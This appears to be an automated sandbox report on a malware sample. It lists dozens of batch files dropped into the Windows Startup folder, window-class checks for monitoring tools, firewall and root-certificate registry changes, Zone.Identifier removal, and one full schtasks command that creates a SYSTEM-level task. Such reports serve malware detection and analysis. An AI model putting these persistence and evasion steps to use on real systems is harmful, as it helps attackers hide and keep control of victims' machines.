Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ixTCqmFJu5C2WAuYjLa75esH.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bzhtqiaIEnooSzQ58KPkDsXr.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WfwAozSpYoRh0VfEDamYiBsR.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4lG8OjDaPfGRBHmxDRRVnuFX.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsGva5E6VHjdUQqf5f96rHfC.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2zxQMcxXAdjZW6YdcXWRkkOC.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7TQPiLaiOp4J0vvxRaQJgnEq.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8acF06oTPket8RN9OHo9AhQC.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LD4hNojEUEziyKrYgWhQk5rm.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\txcp0mnex1Rnt92zIdFfbI0y.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w7u98nz6M4xUaPLHp2FQ8cKh.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YnNYj3NsWtyv1mUxqNvcXDCG.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NF17SuJC2X4gjmjhKys98Qxu.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QiP2pWLr6NBQvOLbwQTTyn6C.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BWeUEkKv96FAORobAHCW6ypF.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OiFswMERSIM5QYpzdzXs8HqN.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wgc7DyRQRZGZ91fWhoYDAYbz.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u4NTnGOUpjOPuN9Xvi5JMQBJ.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N7uBTIqAI4TFaoTgWHqBwwXI.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\66nsVpLcdQEIzffvQGAD01Wx.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mzNuu3a0I49mMXBViscfANRg.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0N7wfHYhrlqZ4SvtOhtcxTC.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\P8Y5HAG12fYTb8t4PcK7rKlv.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\70kdhy3RjJy5GS3eqVG34cMz.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7n1DOJlzDKyVx2HRsxGMDCQe.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\63M9nLrRjxludNRrfdaZddPt.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vD42lBWTRgzN6MsiYDmXUaxN.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LPtepEDzI9Rnp2fhv2mNTraW.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GCxOPoVfvPyhMjrPUVz65iw0.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fp4XGOFNreU9QQvFxWGD280g.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PFtTOLsGyXAF8UN7SK2yoXrT.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yx7mEUrFnFwXRMEpkyGWl1Pr.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b5QOFtze6kWQIzQsICnW3Y23.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HtVik0gCCXpMbW1ewQEIafJO.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtoFw8ASSHe6FVnWEsT9Qpir.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JA9IiDRirqHyvko4OfQivGZ7.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3r3iI3aD5uoVkmnpNwglczar.bat	Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat

Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uM7NrUar2CHMPPLhTaEGJaiv.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9KovXimwlIyW3P77uFXo41ye.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BsDz5LTErOmd8yNfyBTmMVUZ.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WfwAozSpYoRh0VfEDamYiBsR.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4lG8OjDaPfGRBHmxDRRVnuFX.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LD4hNojEUEziyKrYgWhQk5rm.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w7u98nz6M4xUaPLHp2FQ8cKh.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QiP2pWLr6NBQvOLbwQTTyn6C.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BWeUEkKv96FAORobAHCW6ypF.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OiFswMERSIM5QYpzdzXs8HqN.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\70kdhy3RjJy5GS3eqVG34cMz.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vD42lBWTRgzN6MsiYDmXUaxN.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JA9IiDRirqHyvko4OfQivGZ7.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tEJmB2nPjyQy45rj4ea5hhl3.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsh82zoYXoBpPEndu5XVvQbj.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mttZ30v22cES8SbTv1OgQiYx.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ixTCqmFJu5C2WAuYjLa75esH.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsGva5E6VHjdUQqf5f96rHfC.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2zxQMcxXAdjZW6YdcXWRkkOC.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7TQPiLaiOp4J0vvxRaQJgnEq.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8acF06oTPket8RN9OHo9AhQC.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\txcp0mnex1Rnt92zIdFfbI0y.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YnNYj3NsWtyv1mUxqNvcXDCG.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NF17SuJC2X4gjmjhKys98Qxu.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wgc7DyRQRZGZ91fWhoYDAYbz.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u4NTnGOUpjOPuN9Xvi5JMQBJ.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N7uBTIqAI4TFaoTgWHqBwwXI.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\66nsVpLcdQEIzffvQGAD01Wx.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mzNuu3a0I49mMXBViscfANRg.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0N7wfHYhrlqZ4SvtOhtcxTC.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\P8Y5HAG12fYTb8t4PcK7rKlv.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7n1DOJlzDKyVx2HRsxGMDCQe.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\63M9nLrRjxludNRrfdaZddPt.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LPtepEDzI9Rnp2fhv2mNTraW.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GCxOPoVfvPyhMjrPUVz65iw0.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fp4XGOFNreU9QQvFxWGD280g.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PFtTOLsGyXAF8UN7SK2yoXrT.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yx7mEUrFnFwXRMEpkyGWl1Pr.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b5QOFtze6kWQIzQsICnW3Y23.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HtVik0gCCXpMbW1ewQEIafJO.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtoFw8ASSHe6FVnWEsT9Qpir.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3r3iI3aD5uoVkmnpNwglczar.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CpI1BxUwX4GXv0UQgqj98YFq.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dH9ICyXokcwnq5IDiow3vkKB.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Ub2k1IJ2t5gUNZveaJnsLim.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lfz7DVXioZ89NNQKMlyzk5D1.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TH2edQjI5N96cctLqxcxRWB4.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lRYDXj1XORWa1yGwgqL1xUtR.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Gov6rjgDZRJhjjWExECEmd4R.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fDdDwjmSMhosQx3rLX3Nv89G.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tYY0jrXY77oGwO5gH1VTslTu.bat	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bzhtqiaIEnooSzQ58KPkDsXr.bat	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hvfsedh:Zone.Identifier read attributes | delete

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
